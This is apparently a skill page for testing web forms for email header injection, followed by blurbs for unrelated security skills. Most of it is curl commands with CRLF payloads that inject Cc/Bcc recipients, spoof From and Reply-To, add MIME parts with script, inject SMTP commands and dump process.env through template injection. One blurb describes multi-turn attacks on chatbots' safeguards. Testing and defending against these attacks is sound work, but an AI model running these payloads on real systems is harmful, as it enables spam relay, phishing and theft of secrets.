external/anthropic-cybersecurity-skills/skills/testing-for-email-header-injection/SKILL.md
Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.
npx skillsauth add seikaikyo/dash-skills testing-for-email-header-injectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]&subject=Hello&message=Test message"
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]%0ACc:[email protected]&message=Test"
# Inject BCC header
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"
# Inject via the name field
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:[email protected]&[email protected]&message=Test"
# Inject via subject field
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"
# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
-d "[email protected]%0D%0ACc:[email protected]"
# %0A (LF only)
curl -X POST http://target.com/contact \
-d "[email protected]%0ACc:[email protected]"
# %0D (CR only)
curl -X POST http://target.com/contact \
-d "[email protected]%0DCc:[email protected]"
# Double encoding
curl -X POST http://target.com/contact \
-d "[email protected]%250ACc:[email protected]"
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
-d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# Inject additional MIME parts
curl -X POST http://target.com/contact \
-d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# Override From header for email spoofing
curl -X POST http://target.com/contact \
-d "[email protected]%0AFrom:[email protected]"
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
-d "[email protected]%0AReply-To:[email protected]"
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP command injection
curl -X POST http://target.com/api/send \
-d "[email protected]%0ARCPT TO:[email protected]"
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
-d "[email protected]%0AVRFY admin"
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
-d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"
# JSON API header injection
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'
# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'
# Template injection in email body
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
# Check if injected CC/BCC emails were received
# Monitor [email protected] inbox for received copies
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)
| Concept | Description | |---------|-------------| | CRLF Injection | Injecting carriage return and line feed characters to create new email headers | | Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails | | Spam Relay | Abusing email functionality to send spam to arbitrary recipients | | Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders | | MIME Manipulation | Injecting MIME boundaries to override email body content | | SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters | | Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |
| Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy for modifying email-related form submissions | | swaks | Swiss Army Knife for SMTP testing and header injection validation | | OWASP ZAP | Automated scanner with email injection detection | | mailhog | Local SMTP testing server for capturing injected emails | | smtp4dev | Development SMTP server for monitoring email injection results | | Nuclei | Template scanner with email header injection detection templates |
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High |
| 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.